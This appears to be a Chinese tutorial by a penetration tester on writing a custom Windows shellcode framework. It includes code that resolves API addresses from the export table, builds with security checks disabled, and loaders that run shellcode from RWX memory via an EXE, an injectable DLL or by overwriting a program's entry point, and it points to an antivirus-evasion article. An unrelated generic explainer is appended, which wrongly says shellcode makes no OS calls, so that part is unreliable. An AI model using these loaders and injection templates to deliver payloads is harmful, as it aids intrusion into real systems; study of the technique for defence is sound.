shellcode是什么意思
一、shellcode编程前置知识点介绍shellcode是什么?
shellcode的本质其实就是一段可以自主运行的汇编代码,它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行。我在这里不再赘述具体的shellcode,你们可以自行在百度上搜索相关信息。
为什么要自己编写shellcode?因为最近半年做渗透比较多,使用的shellcode也都是CS或MSF生成的,但是工具自动生成的shellcode毕竟是死的,没办法自己扩展功能,再比如你知道一个新的漏洞,但是给的漏洞利用poc只能弹出个计算器,想要实现自己想要功能的shellcode就必须自己编写,因此掌握Shellcode编写技术就显得尤为重要,并且在缓冲区溢出和蠕虫病毒上面shellcode也是必不可少的重要角色。
shellcode编写遇到的问题想要自己编写shellcode,前提是必须知道shellcode编写中最重要的几个知识点,下面我会以问题的形式把需要解决的几个点列一下:
1.Shellcode也是一段程序,如果想正常运行也需要用到各种各样的数据(例如全局的字符串等),但是我们都知道全局变量的访问都是固定地址(硬编码,也就是写死的,没办法改变的),而我们的shellcode可能会被安排运行在任何程序的任何位置,我们要怎样保证shellcode在这种情况下还能准确无误的访问到所需的数据呢?
2.Shellcode也是运行在操作系统里的,必然需要调用一些系统的API,我们要怎样才能得到这些API的地址呢?
3.如果Shellcode运行的程序中没有导入我们所需的API,而我们又必须要使用它,我们该怎么办呢?
因为篇幅原因这些问题的答案大家可以从FB资深作者Rabbit_Run翻译的《Windows平台shellcode开发入门一、二、三》三篇文章中寻找寻找答案,基本上把shellcode编写需要了解的前置知识都涉及了,大家可以带着问题去寻找答案。
二、shellcode编程框架介绍shellcode编程框架:在知道了这些前置知识之后大家如果纯手写shellcode的话还是比较麻烦和困难得,就像写原生的js代码远不如使用jquery等js框架方便且开发快速。因此,我们需要建立一个方便编写自定义功能的shellcode编程框架。现在网上很多这种shellcode编程框架,比如TK以前开源的一款、OneBugMan老师以前写过的2款等等,我之前在学校学习的时候自己写过一个shellcode编程框架但是已经找不到了,而且搞渗透的这段时间以前的知识忘了很多了,所以就参照OneBugMan老师的课程(有兴趣的可以去支持一下老师讲的公开课,讲的很好)写了一个shellcode框架实践了一下。
框架结构介绍图1 框架结构图
在VS2015中,我们使用win32空项目进行本次工程创建,并选择relase/x86配置进行编译。在编译之前,我们要进行如下设置:
1.创建工程时关闭SDL检查
2.属性->
C/C++->
代码生成->
运行库->
多线程 (/MT)如果是debug则设置成MTD
3.属性->
常规->
平台工具集->
设置为Visual Studio 2015- Windows XP (v140_xp),如果没有则可以去安装上对应的兼容xp的组件
4.属性->
C/C++->
代码生成->
禁用安全检查GS
5.关闭生成清单 属性->
链接器->
清单文件->
生成清单 选择否
下面介绍一下每个文件的作用:
1.api.h——>
shellcode所用到系统函数的函数指针,以及一个结构体里面包含了这些函数指针。
2.header.h——>
头文件及自定义功能函数的函数声明。
3.0.entry.cpp——>
框架的入口,创建最后生成的shellcode文件。
4.a.start.cpp——>
标记shellcode的开始位置,用来进行shellcode编写前的前置操作和所用到函数的初始化
5.b.work.cpp——>
shellcode的执行,具体功能的实现
6.z.end.cpp——>
标记shellcode结束位置
之所以文件命名的形式按照这种方式命名是因为按照先数字再字母,按照前后排列的形式,工程内文件这样命名是为了编译生成exe的时候就是按照下图顺序编译生成的,这样生成的exe代码段中函数排列顺序也是按照下图文件中函数顺序排列的,这样我们可以很方便的计算出Shellcode的大小(z.end中的ShellcodeEnd 减去a.start.中的ShellcodeStart就是shellcode的大小),从而把shellcode写入最后生成的文件中。
图2 编译顺序图
代码详细讲解0.entry.cpp中主要注意的就是修改函数入口点的名称一定要和自己写的函数名称一致,否则找不到入口点,因为我们修改了入口点所以一些C形式的函数不能直接使用了,要改为动态调用的形式,还有就是我们写入shellcode大小的计算。
图3 0.entry.cpp代码
a.start.cpp中主要是实现了编写shellcode最重要的几个前置准备:动态获取kernel32.dll的基质和利用PE文件格式的知识来获取GetProcAddress函数地址,进一步获取LoadLibrary地址,有了这些前置步骤我们才能获取其他任意API的地址,进而实现我们shellcode的各种功能
图4 获取kernel32.dll基地址
下面是获取GetProcAddress函数地址,之所以GetProcAddress字符串要以下图那种写法是因为如果使用这样写法char str[]="
xxxxx"
;
这样会把字符串写到程序中的rdata段,就变成了绝对地址,使用绝对地址会使shellcode执行错误。
{
FARPROC pRet = NULL;
PIMAGE_DOS_HEADER lpDosHeader;
PIMAGE_NT_HEADERS32 lpNtHeaders;
PIMAGE_EXPORT_DIRECTORY lpExports;
PWORD lpwOrd;
PDWORD lpdwFunName;
PDWORD lpdwFunAddr;
DWORD dwLoop;
lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->
e_lfanew);
if (!lpNtHeaders->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
{
return pRet;
}
if (!lpNtHeaders->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
return pRet;
}
lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!lpExports->
NumberOfNames)
{
return pRet;
}
lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->
AddressOfNames);
lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->
AddressOfNameOrdinals);
lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->
AddressOfFunctions);
for (dwLoop = 0;
dwLoop <
= lpExports->
NumberOfNames - 1;
dwLoop++)
{
char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
if (pszFunction[0] == '
G'
&
&
pszFunction[1] == '
e'
&
&
pszFunction[2] == '
t'
&
&
pszFunction[3] == '
P'
&
&
pszFunction[4] == '
r'
&
&
pszFunction[5] == '
o'
&
&
pszFunction[6] == '
c'
&
&
pszFunction[7] == '
A'
&
&
pszFunction[8] == '
d'
&
&
pszFunction[9] == '
d'
&
&
pszFunction[10] == '
r'
&
&
pszFunction[11] == '
e'
&
&
pszFunction[12] == '
s'
&
&
pszFunction[13] == '
s'
)
{
pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
} 下面的初始化函数部分我们要知道我们使用的函数在哪个dll中,比如我们想要使用system()函数执行命令,我们就要通过下图方式先载入msvCRT.dll,然后再通过getprocaddress函数找到system函数。别忘记system函数中所用的命令字符串(例如调用计算器)也要像char szCalc[] = { '
c'
,'
a'
,'
l'
,'
c'
,0 };
这样写。 图5 初始化函数
具体功能实现时只需要记住要将函数内所用到的字符串按照下图数组方式声明即可,这里我们写了示例的功能为 弹出一个消息框 提示hello,然后创建一个1.txt文档。
图 6 b.work.cpp具体功能实现
三、执行shellcode框架代码写好之后,我们运行一下会在项目目录里面生成一个sc.bin文件,这个文件中我们使用010Editor打开sc.bin即可看到生成的shellcode。
图7 生成的shellcode
下面介绍几种shellcode运行方式:1、(使用010Editor直接复制出来shellcode)直接替换某程序的二进制例如我们想让dbgview.exe运行我们生成的shellcode
第一步:我们使用lordPE查看dbgview.exe程序的入口点。
然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。
2、把shellcode直接写到代码中生成exe程序运行(源码A)、或者生成dll再写注入器或者使用工具注入到某进程中(源码B)源码A
#include <windows.h>
#include <
stdio.h>
#pragma comment(linker, "
/section:.data,RWE"
)
unsigned char shellcode[] = "
\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode"
;
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
源码B
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "
stdafx.h"
#include<
windows.h>
#include<
iostream>
//data段可读写
#pragma comment(linker, "
/section:.data,RWE"
)
HANDLE My_hThread = NULL;
//void(*ptrceshi)() = NULL;
typedef void(__stdcall *CODE) ();
unsigned char shellcode[] = "
x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode"
;
DWORD WINAPI ceshi(LPVOID pParameter)
{
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
{
}
if (!(memcpy(p, shellcode, sizeof(shellcode))))
{
}
CODE code = (CODE)p;
code();
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
My_hThread = ::CreateThread(NULL, 0, &
ceshi, 0, 0, 0);
//新建线程
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
} 具体操作可以参考我发的上篇文章《shellcode免杀实战里面的步骤》。3、自己写加载器
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。
代码如下
#include<stdio.h>
#include<
stdlib.h>
#include<
windows.h>
int main(int argc, char* argv[])
{
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("
Open File Error!%d\n"
, GetLastError());
return -1;
}
DWORD dwSize;
dwSize = GetFileSize(hFile, NULL);
LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL)
{
printf("
VirtualAlloc error:%d\n"
, GetLastError());
CloseHandle(hFile);
return -1;
}
DWORD dwRead;
ReadFile(hFile, lpAddress, dwSize, &
dwRead, 0);
__asm
{
call lpAddress;
}
_flushall();
system("
pause"
);
return 0;
}
写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >
某某.exe sc.bin
如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。
原帖子链接工具链接
我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式
这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。
因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。
至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。
Shellcode是指一段能够嵌入到可执行文件、网络通信数据包或其他可运行代码中的二进制代码。攻击者通过构建恶意的Shellcode,可以进行远程控制、数据窃取、破坏系统等行为。在安全领域,Shellcode也被广泛应用于渗透测试、漏洞利用等环节。
一、Shellcode的构成及特点
Shellcode通常是二进制码的形式,具有以下特点:
1. 非常短小:Shellcode精简,通常只有几十个字节,难以发现。
2. 无操作系统调用:攻击者通过直接与硬件交互,来操纵系统。
3. 敏感性极高:Shellcode是攻击者实施攻击的核心代码,一旦泄露,将严重危害系统安全。
二、Shellcode的应用场景
Shellcode能够在系统中执行任意代码,可被用于以下场景:
1. 提升权限:通过自我执行并注入目标系统内,来获取系统管理员权限。
2. 隐藏攻击行为:通过操纵系统内存,隐藏攻击行为,防止其他人员探查。
3. 窃取信息:通过修改目标系统读写权限,获取系统存储在内存中的敏感信息。
三、Shellcode的防御措施
为了有效抵御恶意Shellcode的攻击,以下是一些预防措施:
1. 更新系统补丁:及时更新系统补丁,缩小系统漏洞、缺陷等问题,减少被攻击的可能性。
2. 安装防病毒软件:通过安装杀毒软件,及时检测并清除恶意文件、软件,提高系统安全性。
3. 谨慎打开未知邮件:不轻信、谨慎打开来历不明、疑似垃圾邮件以及附件。
Shellcode是攻击者实施攻击的核心代码,难以发现。要保证系统安全,早期防范是非常重要的。探究Shellcode的内部结构,寻找Shellcode的防御方法,可以提高网络安全体系防范智能化的能力。